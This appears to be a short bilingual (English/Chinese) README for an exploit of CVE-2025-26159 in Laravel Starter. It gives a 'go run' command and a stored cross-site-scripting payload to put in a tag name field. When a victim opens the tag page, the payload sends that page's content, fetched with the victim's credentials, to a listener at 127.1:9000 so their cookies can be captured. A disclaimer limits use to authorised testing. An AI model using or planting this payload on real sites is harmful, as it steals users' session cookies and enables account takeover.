godbadtry/cve-2025-26159This script decodes, filters, and extracts cookies as part of the exploitation of CVE-2025-26159.
此脚本仅可用于已获得明确授权的授权环境。作者对因使用此脚本而产生的任何滥用、损害或后果概不负责。
该脚本解码、过滤并提取Cookie，作为利用CVE-2025-26159的一部分。
要了解利用步骤，请查看我博客上的这篇文章。
go run CVE-2025-26159.go
在Laravel Starter的标签名字段中添加以下payload：
<script>fetch("/",{credentials:"include"}).then(r=>r.text()).then(d=>location='//127.1:9000/d='+escape(d))</script>
当用户访问恶意标签的详情页面后，你将获取到他的Cookie。